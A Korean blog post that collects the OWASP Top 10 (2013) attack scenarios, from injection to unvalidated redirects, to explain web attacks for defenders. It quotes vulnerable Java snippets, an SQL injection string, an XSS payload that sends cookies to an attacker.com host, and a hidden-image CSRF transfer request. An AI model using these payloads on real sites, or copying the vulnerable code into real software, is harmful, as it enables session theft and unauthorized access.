홈페이지 취약점 분석 이야기 파일 지도 사진 깨알

>> 목록보이기
#OWASP Top 10 #해킹 시나리오 #A1-Injection #A2-Broken Authentication and Session Management #A3-Cross-Site Scripting (XSS) #A4-Insecure Direct Object References #A5-Security Misconfiguration #A6-Sensitive Data Exposure #A7-Missing Function Level Access Control #A8-Cross-Site Request Forgery (CSRF) #A9-Using Components with Known Vulnerabilities #A10-Unvalidated Redirects and Forwards

OWASP TOP 10 - 2013: 해킹공격 시나리오 모음

이 문서에서는 OWASP TOP 10 (2013)에서 제공하는 취약점 별 해킹 시나리오를 모았다. 원본은 OWASP TOP 10 한글 설명서(PDF)에서 볼 수 있다. 다양한 상황에서 어떠한 해킹 공격이 이루어질 수 있는 지 이해하게 되면 방어에도 큰 도움이 된다.

차례

  1. A1 인젝션 해킹 시나리오
  2. A2 인증 및 세션 관리 취약점 해킹 시나리오
  3. A3 크로스 사이트 스크립팅 (XSS) 해킹 시나리오
  4. A4 취약한 직접 객체 참조 해킹 시나리오
  5. A5 보안 설정 오류 해킹 시나리오
  6. A6 민감 데이터 노출 해킹 시나리오
  7. A7 기능 수준의 접근 통제 누락 해킹 시나리오
  8. A8 크로스 사이트 요청 변조 (CSRF) 해킹 시나리오
  9. A9 알려진 취약점이 있는 컴포넌트 사용 해킹 시나리오
  10. A10 검증되지 않은 리다이렉트 및 포워드 해킹 시나리오

A1 인젝션 해킹 시나리오

삽입(Injection) 취약점에는 SQL 구문삽입(SQL Injection), 운영체제 명령어 삽입(Command Injection), LDAP 구문삽입(LDAP Injection), 서버스크립트 실행코드 삽입(Code Injection) 등이 있다. 공격자는 입력 값 검증에서 문제가 발생하는 부분을 찾아 교묘하게 데이터 문자열을 조작하여 구문/명령어 문자열을 삽입한다. 입력값에 대한 검증이 제대로 이루어지지 않으면, 이를 처리하는 웹 어플리케이션이나 SQL/LDAP 인터프리터 등은 데이터 문자열 속에 삽입된 코드나 명령어를 실행함으로써 DB에 대한 부적절한 접근, 시스템 침투 등에 노출된다.

A1-삽입(A1-Injection)은 데이터로 처리해야 할 입력 변수를 구문/명령어 문자열로 조작하는 취약점이다.

시나리오 #1:

애플리케이션은 아래와 같이 취약한 SQL 호출문 구조의 신뢰할 수 없는 데이터를 사용한다:

 String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

시나리오 #2:

유사하게, 프레임워크에서 애플리케이션의 암묵적 신뢰는 SQL 질의들에 대한 취약점이 발생한다. (예, Hibernate Query Language (HQL)): 

Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");

두 경우 공격자는 ‘id’ 변수 값을 ' or '1'='1 로 수정한다 (예: http://example.com/app/accountView?id=' or '1'='1). 기존 두 SQL 질의를 계정 테이블의 모든 레코드들의 값을 반환하는 SQL 질의로 변경한다. 좀 더 위협적으로 데이터를 변경하거나, 저장된 프로시저를 호출하는 공격을 할 수 있다.

A2 인증 및 세션 관리 취약점 해킹 시나리오

웹 애플리케이션에서 인증과 세션 관리와 관련된 기능이 정확하게 구현되어 있지 않아서, 공격자가 패스워드, 키 또는 세션 토큰을 해킹하거나 다른 구현 취약점을 공격하여 다른 사용자 ID로 가장할 수 있다.

시나리오 #1:

항공사 예약 애플리케이션은 URL 덮어쓰기를 지원하고 있고, 다음 URL에서 세션 ID 를 표시한다. 

http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii

사이트에서 인증 사용자는 친구들에게 할인 소식을 알리고 싶어 자신의 세션 ID가 누설된다는 것을 알지 못한 채 상기 링크를 메일로 전한다. 친구들은 해당 링크를 사용하여 세션 및 신용 카드를 사용한다.

시나리오 #2:

애플리케이션에는 타임아웃 기능이 설정되지 않았다. 공공 장소의 컴퓨터로 사이트에 접근한 사용자가 "로그아웃"을 선택하는 대신에 단순히 브라우저 탭을 닫고서 자리를 떠난다. 한 시간 이후 공격자가 동일한 브라우저를 사용하는데, 브라우저는 여전히 인증된 상태를 유지하고 있다.

시나리오 #3:

내부 혹은 외부 공격자가 시스템의 패스워드 데이터베이스에 대한 접근을 획득한다. 사용자 패스워드는 해시 되지 않았고, 모든 사용자의 패스워드가 공격자에게 노출된다.

A3 크로스 사이트 스크립팅 (XSS) 해킹 시나리오

XSS 취약점은 웹 애플리케이션이 신뢰할 수 없는 데이터를 가져와 적절한 검증이나 제한 없이 웹 브라우저로 보낼 때 발생한다. XSS는 공격자가 피해자의 브라우저에 스크립트를 실행하여 사용자 세션 탈취, 웹 사이트 변조, 악의적인 사이트로의 자종이동과 같은 공격을 수행할 수 있다.

시나리오 #1:

웹 애플리케이션은 아래와 같이 유효성 검사 또는 이스케이핑 없이 다음의 HTML 조각(snippet)을 구성 에서 신뢰할 수 없는 데이터를 사용한다:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

공격자는 자신의 브라우저에서 'CC' 매개변수를 수정한다: 

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'

이 경우 피해자의 세션 ID가 공격자의 웹사이트로 전송되며, 공격자가 사용자의 현재 세션을 이용할 수 있다. 또한 공격자는 XSS를 사용해서 웹 애플리케이션이 적용한 자동화된 CSRF 방어를 무력화할 수 있다. A8 CSRF 정보 참고.

A4 취약한 직접 객체 참조 해킹 시나리오

직접 객체 참조는 개발자가 파일, 디렉토리, 데이터베이스 키와 같은 내부 구현 객체를 참조하는 것을 노출시킬 때 발생한다. 접근 통제를 통한 확인이나 다른 보호수단이 없다면, 공격자는 노출된 참조를 조작하여 허가 받지 않은 데이터에 접근할 수 있다.

시나리오 #1:

웹 애플리케이션은 계정정보에 접근하는 SQL 구문에 검증되지 않은 데이터를 이용한다. 

String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

공격자는 원하는 계좌번호가 무엇이든 간에 웹 브라우저를 통해서 보내기 위한 acct 인자를 변경한다. 만약 적절히 검증되지 않는다면 의도된 자신의 계정 이외에 공격자는 쉽게 다른 이의 계정에 접근 가능하다. 

http://example.com/app/accountInfo?acct=notmyacct

A5 보안 설정 오류 해킹 시나리오

훌륭한 보안은 애플리케이션, 프레임워크, 애플리케이션 서버, 웹 서버, 데이터베이스 서버 및 플랫폼에 대해 보안 설정이 정의되고 적용되어 있다. 기본으로 제공되는 값은 종종 안전하지 않기 때문에 보안 설정은 정의, 구현 및 유지되어야 한다. 또한 소프트웨어는 최신의 상태로 유지해야 한다.

시나리오 #1:

애플리케이션 서버 관리 콘솔이 자동으로 설치된 후 제거되지 않았다. 기본 계정들은 변경되지 않았다. 공격자는 여러분들의 서버에 기본 관리 페이지를 발견했고, 기본 패스워드로 로그인하여, 시스템을 장악하였다.

시나리오 #2:

디렉토리 목록을 보는 기능이 서버에서 비활성화되지 않았다. 공격자는 디렉토리 내용들을 보면서 아무 파일이나 찾을 수 있다는 것을 알게 된다. 공격자는 컴파일해 둔 모든 자바 클래스를 찾아 다운로드 후 역추적 기법을 이용해 디컴파일한다. 공격자는 여러분의 애플리케이션에 심각한 접근통제 결함을 찾아낸다.

시나리오 #3:

애플리케이션 서버 구성이 사용자에게 잠재적으로 노출될 수 있는 근본적인 결함을 반환하는 스택 추적을 허용한다. 공격자는 추가적인 정보가 담긴 에러 메시지가 나오면 좋아한다.

시나리오 #4:

애플리케이션 서버에 샘플 애플리케이션이 설치되어있는 상태에서 제거되지 않고 프로덕션 서버로 활용되고 있다. 이전에 설명했듯이 샘플 애플리케이션은 보안 결함을 보유하고 있고, 공격자들은 여러분들의 서버를 손상시키는 데에 이를 사용할 수 있다.

A6 민감 데이터 노출 해킹 시나리오

많은 웹 애플리케이션들이 신용카드, 개인 식별 정보 및 인증 정보와 같은 중요한 데이터를 제대로 보호하지 않는다. 공격자는 신용카드 사기, 신분 도용 또는 다른 범죄를 수행하는 등 약하게 보호된 데이터를 훔치거나 변경할 수 있다. 중요 데이터가 저장 또는 전송 중이거나 브라우저와 교환하는 경우 특별히 주의하여야 하며, 암호화와 같은 보호조치를 취해야 한다.

시나리오 #1:

애플리케이션은 데이터베이스의 신용카드 번호를 암호화할 때 자동 데이터베이스 암호화를 사용한다. 그러나 이것은 평문으로 된 신용카드 번호를 검색할 수 있는 SQL 인젝션 취약점을 사용하여 검색하면 자동으로 복호화 될 수 있다. 신용카드 번호와 같은 정보들은 공개키를 사용해서 암호화 되어야 하고, 비밀키를 사용하여 복호화하는 백엔드 에플리케이션을 사용하여야 한다.

시나리오 #2:

사이트에서 모든 인증 페이지에 SSL을 사용하지 않는다. 공격자는 네트워크 트래픽(개방된 무선 네트워크 같은)을 관찰하고, 사용자의 세션 쿠키를 훔친다. 이후 공격자는 이 쿠키를 다시 사용해서 사용자의 개인 정보에 접속할 수 있는 세션을 훔친다.

시나리오 #3:

패스워드 데이터베이스는 모든 사람들의 패스워드를 저장하기 위해서 솔트없는 해쉬 함수를 사용한다. 파일 업로드 취약점은 공격자들에게 암호 파일을 검색할 수 있도록 한다. 모든 솔트 없는 해쉬 함수는 사전에 계산된 해쉬 함수의 레인보우 테이블(Rainbow Table, 해쉬 함수를 사용하여 코딩된 문서를 복호화하는데 사용할 수 있는 함수들의 테이블)에 노출될 수 있다.

A7 기능 수준의 접근 통제 누락 해킹 시나리오

대부분의 웹 애플리케이션은 UI에 해당 기능을 보이게 하기 전에 기능 수준의 접근권한을 확인한다. 그러나, 애플리케이션은 각 기능에 접근하는 서버에 동일한 접근통제 검사를 수행한다. 요청에 대해 적절히 확인하지 않을 경우 공격자는 적절한 권한 없이 기능에 접근하기 위한 요청을 위조할 수 있다.

시나리오 #1:

공격자는 브라우저로 목표 URL로 접근시도한다. 아래 URL 을 따라가게 되면 인증이 필요하다. "admin_getappInfo" 페이지에 접근하기 위해서는 관리자 권한이 필요하다. 

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

만약 인증되지 않는 사용자가 해당 페이지에 접근할 수 있다면 취약점이 존재하는 것이다. 관리자가 아닌 인증된 사용자가 "admin_getappInfo" 페이지에 접근이 되면, 이것도 취약하다. 그래서 많은 공격자들이 관리자 페이지를 공격할 것이다.

시나리오 #2:

어떤 페이지에서 특정한 기능을 호출할 수 있는 'action' 파라미터를 제공하며, 다른 action들은 다른 역할을 가지고 있다. 만약 이러한 역할이 적용되어 있지 않다면 이것은 취약점이다.

A8 크로스 사이트 요청 변조 (CSRF) 해킹 시나리오

CSRF 공격은 로그온 된 피해자의 취약한 웹 애플리케이션에 피해자의 세션 쿠키와 기타 다른 인증정보를 자동으로 포함하여 위조된 HTTP 요청을 강제로 보내도록 하는 것이다. 이것은 공격자가 취약한 웹 애플리케이션이 피해자로부터의 정당한 요청이라고 오해할 수 있는 요청들을 강제로 만들 수 있다.

시나리오 #1:

애플리케이션이 사용자에게 비밀사항이 포함하지 않은 상태 변경 요청을 제출할 수 있도록 허용한다. 예를 들면: 

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

그래서, 공격자가 피해자의 계좌에서 공격자의 계좌로 돈을 송금할 요청을 구성할 수 있다. 그리고 그때 공격자의 통제아래 다양한 사이트에 저장된 iframe 또는 이미지 요청에 공격을 끼워 넣는다. 

<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />

이미 example.com에 인증하는 동안 피해자가 공격자의 사이트의 어떤 곳에 방문한다면, 이 위조된 요청은 자동적으로 공격자의 요청이 승인하는 사용자의 세션 정보에 포함될 것이다.

A9 알려진 취약점이 있는 컴포넌트 사용 해킹 시나리오

컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈은 대부분 항상 전체 권한으로 실행된다. 이러한 취약한 컴포넌트를 악용하여 공격하는 경우 심각한 데이터 손실이 발생하거나 서버가 장악된다. 알려진 취약점이 있는 컴포넌트를 사용하는 애플리케이션은 애플리케이션 방어 체계를 손상하거나, 공격 가능한 범위를 활성화하는 등의 영향을 미친다.

시나리오 #1:

컴포넌트 취약점은 사소한 것에서부터 특정 조직을 대상으로 하는 지능적인 악성코드에 이르기까지 상상 가능한 모든 종류의 위험을 유발할 수 있다. 거의 모든 컴포넌트는 애플리케이션의 전체 권한으로 실행되므로, 결함이 있는 모든 컴포넌트는 심각하다. 아래는 2011년에 2,200만 번이나 다운로드 된 취약한 컴포넌트이다.

  • Apache CXF Authentication Bypass
    – 인증 토큰을 제공하지 않으면, 공격자가 어떤 웹 서비스든지 전체 권한으로 실행할 수 있다. (아파치 CXF는 서비스 프레임워크이며, 아파치 애플리케이션 서버와는 다르다.)
  • Spring Remote Code Execution
    – 공격자는 Spring의 Expression Language 실행을 조작하여 임의의 코드를 실행하고 서버까지 장악할 수 있다.

2개의 취약한 컴포넌트는 애플리케이션 사용자들이 접근 가능하기 때문에, 이 라이브러리를 사용하는 모든 애플리케이션은 공격에 취약하다. 하지만 애플리케이션 내부 깊숙이 사용되는 다른 라이브러리들은 공격이 쉽지 않다.

A10 검증되지 않은 리다이렉트 및 포워드 해킹 시나리오

웹 애플리케이션은 종종 사용자들을 다른 페이지로 리다이렉트 하거나 포워드하고, 대상 페이지를 결정하기 위해 신뢰할 수 없는 데이터를 사용한다. 적절한 검증 절차가 없으면 공격자는 피해자를 피싱 또는 악성코드 사이트로 경로재지정(redirect)하거나 승인되지 않은 페이지에 접근하도록 전달할 수 있다.

시나리오 #1:

애플리케이션에 "redirect.jsp"라는 페이지가 있다. 이 페이지는 "url" 파라미터를 허용하고 있다. 공격자는 사용자를 악성사이트로 redirect하여 피싱 혹은 악성프로그램을 설치하도록 하기 위해 악성코드를 삽입한다. 

http://www.example.com/redirect.jsp?url=evil.com

시나리오 #2:

애플리케이션은 해당 사이트의 다른 페이지로 가기 위해 forward를 사용한다. 이런 작업을 수행하기 위해 특정 페이지는 인증 성공 이후 표시될 페이지의 경로에 대한 정보를 파라미터로 저장하고 있다. 이 경우 공격자는 파라미터에 표시된 URL을 조작하여 애플리케이션의 접근제어를 우회할 수 있다. 정상적인 인증을 거치지 않고서도 인증 이후 관리자 페이지로 접근가능하다. 

http://www.example.com/boring.jsp?fwd=admin.jsp

[처음 작성한 날: 2016.11.29]    [마지막으로 고친 날: 2016.11.29] 

< 이전 글 : 2016.11.30 웹서버 공격 로그 (2016.11.30)

> 다음 글 : WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (2016.11.26)

크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문